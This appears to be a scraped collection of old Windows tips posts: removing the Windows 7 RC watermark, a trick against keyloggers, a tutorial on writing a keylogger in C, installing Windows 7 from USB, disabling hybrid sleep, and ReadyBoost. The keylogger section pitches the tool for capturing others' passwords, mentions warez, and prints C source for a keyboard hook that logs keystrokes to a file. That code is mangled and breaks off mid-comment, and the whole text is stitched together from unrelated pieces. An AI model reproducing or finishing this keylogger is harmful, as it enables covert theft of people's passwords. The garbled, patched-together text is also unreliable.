A simple and effective way to remove the watermark is to download the Watermark Removal Script which automates the entire process for you.
The previous watermark remover had some problems on x64 systems, I have updated the post with the remover by deepxw which works perfectly on 64bit systems too.
You can download this Windows 7 (7100 - RC) Desktop Watermark Remover
Save it to your desktop, unzip, choose either the 32 or 64bit version depending on which you installed then right click and select run as administrator.
The script will then go through the process of removing the watermark, the entire process will take a minute or two.
After its finished re start your computer and the watermark will be gone.

Fool A Keylogger !!
These days Agents spy on u everywhere, in college, at work, maybe a
trojan virus on your home PC which keylogs your paswords and mails it to
someone else. If u think u r being logged, try this:
Whenever u have to type a password, never type the complete password in
one go, ie, if your password is WINDOWS, u should type NDOW, then move
cursor to start of the password field using the mouse ONLY, then type
WI, then move cursor to end using the mouse and type S. This way the
logger will record your keystrokes as [ndowwis] instead of [WINDOWS].
Haha, keylogger fooled.
What is a keylogger? It's a program that logs everything
that you type on the keyboard. What are it's usages to me? Well, if you want to
record everything someone types then you can then see anything you want like
passwords and such. How do I get one? You can buy some corporate or home usage
ones that are made for recording what employees are doing or what your kids are
doing that is a bad method though since they are bloated, cost money since most
people don't know how to find warez and it's better to make your own since you
can make it do what you want to do. Ok, how do I do this? You program one. If
you know how to program in C then read on. There are two ways of making a
keylogger: 1. Using the GetAsyncKeyState API. Look at svchost.c 2. Using the
SetWindowsHookEx API. This is the prefered method but only works on NT based
systems. The reason this way is prefered is because it is much more efficient
that GetAsyncKeyState. See for yourself. No need to check if what character is
being pressed and no need to check other stuff like the value -32767 is being
returned. When you use the SetWindowsHookApi you "hook" the keyboard
to that you can send all of the keys prssed to somewhere. When making a
keylogger you usually send it to a file so that all of the keys will be logged
there. The only disavantage of using this API if you could even call it a
disadvantage is that you have to use have a DLL as well as your .exe file. I
found a peice of code that doesn't need a DLL. Here it is with a slight
modification from me so that you don't have to have the keylogger close before
you can view the file with the logged keys in it: code: */ // This code will
only work if you have Windows NT or // any later version installed, 2k and XP
will work. #define _WIN32_WINNT 0x0400 #include "windows.h"
#include "winuser.h" #include "stdio.h"
// Global Hook handleHHOOK hKeyHook; // This is the function that is
"exported" from the // execuatable like any function is exported from
a // DLL. It is the hook handler routine for low level // keyboard events.
__declspec(dllexport) LRESULT CALLBACK KeyEvent ( int nCode, // The hook
codeWPARAM wParam, // The window message (WM_KEYUP, WM_KEYDOWN, etc.)LPARAM
lParam // A pointer to a struct with information about the pressed key ) { if
((nCode == HC_ACTION) && // HC_ACTION means we may process this event
((wParam == WM_SYSKEYDOWN) // Only react if either a system key ... (wParam ==
WM_KEYDOWN))) // ... or a normal key have been pressed. { // This struct
contains various information about // the pressed key such as hardware scan
code, virtual // key code and further flags. KBDLLHOOKSTRUCT hooked =
*((KBDLLHOOKSTRUCT*)lParam); // dwMsg shall contain the information that would
be stored // in the usual lParam argument of a WM_KEYDOWN message. // All information
like hardware scan code and other flags // are stored within one double word at
different bit offsets. // Refer to MSDN for further information: // // http://msdn.microsoft.com/library/en-us/winui/winui/
// windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp // //
(Keystroke Messages) DWORD dwMsg = 1; dwMsg += hooked.scanCode << 16;
dwMsg += hooked.flags << 24; // Call the GetKeyNameText() function to get
the language-dependant // name of the pressed key. This function should return
the name // of the pressed key in your language, aka the language used on //
the system. char lpszName[0x100] = {0}; lpszName[0] = '['; int i =
GetKeyNameText(dwMsg, (lpszName+1),0xFF) + 1; lpszName = ']'; // Print this
name to the standard console output device. FILE *file;
file=fopen("keys.log","a+"); fputs(lpszName,file);
fflush(file); } // the return value of the CallNextHookEx routine is always //
returned by your HookProc routine. This allows other // applications to install
and handle the same hook as well. return CallNextHookEx(hKeyHook,
nCode,wParam,lParam); } // This is a simple message loop that will be used //
to block while we are logging keys. It does not // perform any real task ...
void MsgLoop(){MSG message; while (GetMessage(&message,NULL,0,0)) {
TranslateMessage( &message ); DispatchMessage( &message );} } // This

How To Install Windows 7 From A USB Drive
Windows 7 can run on machines with lower specs than required for Windows
Vista, and many users are actually finding it runs better than Windows
XP on lower spec machines. It’s also ideal to run on newer netbook
machines, but unfortunately many of these do not include a DVD drive so
how do you install windows 7 on a machine without a DVD drive?
How To Install Windows 7 From A USB Drive
1. Find a standard 4GB USB Drive and plug it into your machine
2. Click Start in your enter ‘cmd’ in the run field. Once cmd is open type in ‘diskpart’ and a new window will open
3. In the new diskpart window type:
* ‘list disk’ : This lists all the disk drives attached to your machine
* Look for your USB drive and note the number and then type: ’select disk #’, where ‘#’ is your USB disk number
* then type ‘clean’
* then type ‘create partition primary’
* then ’select partition 1′
* then ‘active’
* then ‘format fs=fat32 quick’
Once you’ve finished these steps you then need to copy your Windows 7 files to the USB. To do this you have to mount your Windows 7 ISO as a virtual DVD. Doing this is easy:
1. Install MagicDisk (free)
2. once installed, right-click on MagicDisk in your system tray click on ‘Virtual CD/DVD-Rom’, select your DVD drive
3. then ‘Mount’ and in the dialog window that opens up, select your Windows 7 ISO
4. Now in windows Explorer, click on your DVD drive and you should see all the Windows 7 Files. All you have to do now is copy and paste all the files to your USB key and you have a Windows 7 USB Installation Stick!
5. Install the stick in the PC you want to install Windows 7 on and boot up. Remember to change your bios to allow booting from USB.

How to Turn Off / Disable Hybrid Sleep Mode In Windows 7, Vista
A great new feature introduced in the Microsoft Windows7 is the “Hybrid Sleep” mode.
This is a definite boost from the ordinary “Sleep” feature wherein the
unsaved programs and other running programs on the computer were lost in
case of a power outage. This was because the Sleep mode would serialize
the current state into memory and then shut down all devices other than
the RAM.
This problem has now been resolved with the “Hybrid Sleep” mode in
which the information is saved on the memory as well as a hibernation
file similar to the “Hibernate” option.
This function is quite irrelevant for desktop users with UPS backup or
those using laptops as these systems are configured to automatically go
into hibernation or shutdown as soon as the battery has been reduced to
a certain level. Moreover, switching to this feature resulted in the
reduction of the performance of the Sleep feature. To turn off and
disable the feature follow this step by step process.
Step 1: Click “Start” and select the “Control Panel” option. Redirected to the Control panel page, you need to select the “System and Maintenance” link to view the icon of “Power Options”. This runs the “Power Options Properties” applet.
Step 2: Click on “Select a power plan” tab, and under the “Preferred plans” section, select the option for “Change plan settings”.
Step 3: You are now redirected to the “Change settings for the plan” page. Now click on the “Change advanced power settings” option and under the “Advanced settings” tab, expand the button next to the “Sleep” tree followed by the expansion of the “Allow hybrid sleep” option. Select “Off” from the drop-down list as the value for both “On battery” and “Plugged in” options in your laptops. Click Ok and save the changes.

Adding system memory (typically referred to as RAM) is often the best
way to improve a PC's performance, since more memory means more
applications are ready to run without accessing the hard drive. However,
upgrading memory can be difficult and costly, and some machines have
limited memory expansion capabilities, making it impossible to add RAM.
Windows Vista introduces Windows ReadyBoost, a new concept in adding
memory to a system. You can use non-volatile flash memory, such as that
on a universal serial bus (USB) flash drive, to improve performance
without having to add additional memory "under the hood."
The flash memory device serves as an additional memory cache—that is,
memory that the computer can access much more quickly than it can access
data on the hard drive. Windows ReadyBoost relies on the intelligent
memory management of Windows SuperFetch and can significantly improve
system responsiveness.
It's easy to use Windows ReadyBoost. When a removable memory device such
as a USB flash drive or a secure digital (SD) memory card is first
inserted into a port, Windows Vista checks to see if its performance is
fast enough to work with Windows ReadyBoost. If so, you are asked if you
want to use this device to speed up system performance. You can choose
to allocate part of a USB drive's memory to speed up performance and use
the remainder to store files.
